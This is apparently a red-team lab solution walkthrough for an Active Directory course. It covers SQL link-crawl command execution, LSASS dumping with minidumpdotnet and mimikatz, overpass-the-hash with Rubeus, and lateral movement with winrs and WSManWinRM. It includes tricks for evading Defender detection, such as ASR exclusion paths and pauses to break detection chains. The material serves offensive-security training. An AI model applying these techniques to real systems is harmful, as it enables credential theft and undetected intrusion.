1 - Compromise eu-sqlx again. Use opsec friendly alternatives to bypass MDE and MDI
Solutions
1 - Compromise eu-sqlx again. Use opsec friendly alternatives to bypass MDE and MDI
Continuing from the previous Learning Objective, we have ability to run commands as SYSTEM on eusqlx. This is perfect to leverage to perfrom an LSASS dump to further gain persistent credential access to the machine.
To dump the memory of LSASS process, we can begin by leveraging minidumpdotnet as it is undetected by AV / MDE since it uses a custom implementation of the MiniDumpWriteDump() API call.
Tools Transfer and Execution
Downloads over HTTP increase the chances of detection chained with other risky actions so we perfrom execution from an SMB share. We serve the minidumpdotnet and FindLSASSPID (to enumerate LSASS PID) on our studentVM share named - studentsharex (C:\AD\Tool\studentsharex).
On the student VM, create an SMB share called - studentsharex with the following configuration: Allow Everyone, Guest and ANONYMOUS LOGON to the permissions of the share.
Note: To make it easier in the lab we have enabled Guest access for the fileshares so that eu-sqlx can access our studentsharex. Note that your student machine name could also be dcorp-std867
Next, begin by performing SQL crawl xp_cmdshell execution on eu-sqlx to enumerate the LSASS PID using FindLSASSPID.exe. Start a PowerShell session using InvisiShell, import PowerUpSQL and run the following command:
Version : SQL Server 2019
Instance : DCORP-MSSQL
CustomQuery :
Sysadmin : 0
Path : {DCORP-MSSQL}
User : dcorp\student867
Links : {DCORP-SQL1}
Version : SQL Server 2019
Instance : DCORP-SQL1
CustomQuery :
Sysadmin : 0
Path : {DCORP-MSSQL, DCORP-SQL1}
User : dblinkuser
Links : {DCORP-MGMT}
Version : SQL Server 2019
Instance : DCORP-MGMT
CustomQuery :
Sysadmin : 0
Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT}
User : sqluser
Links : {EU-SQL45.EU.EUROCORP.LOCAL}
Version : SQL Server 2019
Instance : EU-SQL45
CustomQuery : System.Data.DataRow
Sysadmin : 1
Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT, EU-SQL45.EU.EUROCORP.LOCAL}
User : sa
Links :
NOTE: LSASS PID will be different for each LAB instance.
To break a detection chain, we will run benign queries. In case of MDE, in our experience waiting for about 10 minutes also helps in avoiding detection.
Version : SQL Server 2019
Instance : DCORP-MSSQL
CustomQuery :
Sysadmin : 0
Path : {DCORP-MSSQL}
User : dcorp\student867
Links : {DCORP-SQL1}
Version : SQL Server 2019
Instance : DCORP-SQL1
CustomQuery :
Sysadmin : 0
Path : {DCORP-MSSQL, DCORP-SQL1}
User : dblinkuser
Links : {DCORP-MGMT}
Version : SQL Server 2019
Instance : DCORP-MGMT
CustomQuery :
Sysadmin : 0
Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT}
User : sqluser
Links : {EU-SQL45.EU.EUROCORP.LOCAL}
Version : SQL Server 2019
Instance : EU-SQL45
CustomQuery : {The network path was not found., }
Sysadmin : 1
Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT, EU-SQL45.EU.EUROCORP.LOCAL}
User : sa
Links :
Perform another benign query for safe measure to break any detection chain
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'SELECT * FROM master.dbo.sysdatabases' -QueryTarget eu-sql45
Version : SQL Server 2019
Instance : DCORP-MSSQL
CustomQuery :
Sysadmin : 0
Path : {DCORP-MSSQL}
User : dcorp\student867
Links : {DCORP-SQL1}
Version : SQL Server 2019
Instance : DCORP-SQL1
CustomQuery :
Sysadmin : 0
Path : {DCORP-MSSQL, DCORP-SQL1}
User : dblinkuser
Links : {DCORP-MGMT}
Version : SQL Server 2019
Instance : DCORP-MGMT
CustomQuery :
Sysadmin : 0
Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT}
User : sqluser
Links : {EU-SQL45.EU.EUROCORP.LOCAL}
Version : SQL Server 2019
Instance : EU-SQL45
CustomQuery : {master, tempdb, model, msdb}
Sysadmin : 1
Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT, EU-SQL45.EU.EUROCORP.LOCAL}
User : sa
Links :
Back on our studentvm we can now begin to parse the exfiltrated LSASS minidump (monkey.dmp) using mimikatz as follows. Run the below command from an elevated shell (Run as administrator):
NOTE: If you encounter errors parsing the minidump file, most likely your student VM memory is full. Attempt a quick fix by logging in and out of the student VM.
Now, use Overpass-the-hash on the student VM using Rubeus to start a process with privileges of the dbadmin user who is a member of eu.eurocorp.local. Run the below command from a high integrity process on student VM (Run as administrator):
We can now use winrs to access eu-sqlx. Runthe below commands from the process spawned as dbadmin:
winrs -r:eu-sqlx.eu.eurocorp.local cmd
set username
Note that use of winrs is not detected by MDE but MDI (Microsoft Defender for Identity) detects it.
To avoid detection, we can use the WSManWinRM.exe tool. We will append an ASR exclusion such as "C:\Windows\ccmcache\" to avoid detections from the "Block process creations originating from PSExec and WMI commands" ASR rule. Run the below command from the process spawned as dbadmin:
NOTE: If the tool returns a value of 0, there is an error with command execution.
C:\AD\Tools\WSManWinRM.exe eu-sql867.eu.eurocorp.local "cmd /c set username C:\Windows\ccmcache\"
To see the command output, we can redirect the command to share on the student VM. This has very limited success and we are continuously trying ways to make it more effective.
C:\AD\Tools\WSManWinRM.exe eu-sql867.eu.eurocorp.local "cmd /c dir >> \\dcorp-student867.dollarcorp.moneycorp.local\studentshare867\out.txt C:\Windows\ccmcache\"
